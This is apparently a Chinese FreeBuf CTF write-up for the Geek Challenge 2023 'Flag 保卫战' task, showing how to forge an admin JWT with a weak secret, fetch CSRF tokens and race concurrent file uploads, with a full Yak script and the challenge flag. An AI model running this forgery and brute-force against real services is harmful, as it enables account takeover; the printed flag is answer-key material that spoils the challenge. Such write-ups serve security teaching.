freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

极客大挑战Flag 保卫战题目WP
yaklang 2024-01-08 14:36:51 113340

@Go0p师傅

该题目源码位于:https://github.com/yaklang/yaklang/tree/geek2023  

flag:SYC{75ec9b17-2284-447f-9faa-babccc8f159c}

题目介绍:

管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了

考点:

JWT 越权,并发请求,写脚本能力

过程:

访问靶场地址,发现登录页面1704695621_659b9745bad547842e7b9.png!small?1704695622636

查看网页源码,发现访客密码 123456,发现 api 接口 /flag?pass=

随意使用用户名,a,密码 123456 进行登录尝试

1704695627_659b974b29b07b148e1fc.png!small?1704695629099

通过后台提示信息可知,有一个管理员用户,获取 flag 的密码是四个文件内容相连,推测存在越权,并且能够覆盖管理员设置的文件,也就是重置密码

先随意上传一个文件同时进行抓包,数据包如下

1704695639_659b97579a54b888af419.png!small?1704695640383

前端显示,保存文件名的方式应该是 用户名-随机值,猜测需要爆破,碰撞出名为 管理员-随机值 的文件

1704695645_659b975db9b0288d1b382.png!small?1704695647016

上传的数据包中,发现了 JWT 进行鉴权以及一个 yak-token 的上传字段,先尝试解析读取 JWT 信息,发现使用了弱密码,用户为 a,使用弱密码进行管理员账户的 JWT Token 伪造

1704695651_659b97636399f8aee3d1c.png!small?1704695652343

通过 JWT 解析出来的信息,这里我直接使用 yak 生成了,大家也可以找在线网站进行 JWT 的编辑还原

1704695656_659b9768d5bb29a387aa3.png!small?1704695658373

使用修改为 admin 的 Token 继续尝试发包,发现 Forbidden - CSRF token invalid

1704695661_659b976d4dce130b8a045.png!small?1704695662117

现在来看看前面提到的 yak-token字段,分析前端 JS 发现有一个 new-csrf-token的接口,在前端每次点击上传文件时,都会先去获取一个新的 csrf-token

1704695667_659b97735fa96cb72ddbb.png!small?1704695669073

可以开始尝试编写脚本,根据上面的思路我们爆破的步骤为,先获取 csrf-token,构造 upload 数据包,文件内容随意,这里使用 1,上传完成后,请求一次 /flag?pass=1111(管理员提示4个文件内容相连)由于定期会清楚缓存文件,所以最好使用并发,这里直接使用 Yakit 序列功能,后面也提供了 yak 代码,大家也可以使用 python 编写代码

Step 1 设置重复发包,并发,提取 token ,供 step 2 中使用

1704695677_659b977d334b9da3ac6e9.png!small?1704695677995

Step 2

1704695681_659b978195244f63cf683.png!small?1704695683716

Step 3

1704695685_659b978560b67eca75777.png!small?1704695686034

拖入一个序列组,点击执行

1704695689_659b978962fe72a9d1837.png!small?1704695690897

1704695693_659b978d614673a4d3da9.png!small?1704695696185

Yak 代码

// cookie 中的 jwt token 已被替换为 admin
getToken = func() {
    raw = `GET /new-csrf-token HTTP/1.1
Host: 127.0.0.1:8089
Cookie: jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.47k0jdPsb9JLdi1kgQxF9Gv4tyCoZ1T5nKZiuODYbbg

`

    rsp, _ = poc.HTTP(raw, poc.https(false))~

    cookie = poc.GetHTTPPacketCookie(rsp, "yak_csrf")

    _, body = poc.Split(rsp)

    return cookie, string(body)
}

// cookie 中的 jwt-token 已经被替换为 admin 用户
postUpload = func(cookie, token) {
    raw2 = f`POST /upload HTTP/1.1
Host: 127.0.0.1:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Cookie: jwt-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.47k0jdPsb9JLdi1kgQxF9Gv4tyCoZ1T5nKZiuODYbbg; yak_csrf=${cookie}; Expires="Fri%2C+08+Sep+2023+13%3A19%3A34+GMT"; Max-Age=10; HttpOnly=; SameSite=LaxAccept: */*
Referer: http://192.168.124.14:8089/upload
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ru;q=0.6
X-Requested-With: XMLHttpRequest
Origin: http://192.168.124.14:8089
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIDPlMGmz86uvgyNM
Content-Length: 385

------WebKitFormBoundaryIDPlMGmz86uvgyNM
Content-Disposition: form-data; name="filename"; filename="1.zip"
Content-Type: text/aa

1
------WebKitFormBoundaryIDPlMGmz86uvgyNM
Content-Disposition: form-data; name="yak-token"

${token}
------WebKitFormBoundaryIDPlMGmz86uvgyNM--

`
    _, _ = poc.HTTP(raw2, poc.https(false))~
}

getFlag = func() {
    raw = `GET /flag?pass=1111 HTTP/1.1
Host: 127.0.0.1:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

`
    _, _ = poc.HTTP(raw, poc.https(false))~
}

synWg = sync.NewSizedWaitGroup(20)

for i = 0; i < 500; i++ {
    synWg.Add()
    go fn {
        defer synWg.Done()

        cookie, token = getToken()
        postUpload(cookie, token)
        getFlag()
    }
}
synWg.Wait()
# 黑客 # 网络安全 # web安全 # CTF # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 yaklang 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
yaklang LV.8
做难而正确的事!
  • 153 文章数
  • 105 关注者
独立SyntaxFlow功能?IRify,启动!
2025-03-31
那我问你,MCP是什么?回答我!
2025-03-24
SyntaxFlow实战CVE漏洞?那很好了
2025-03-14
文章目录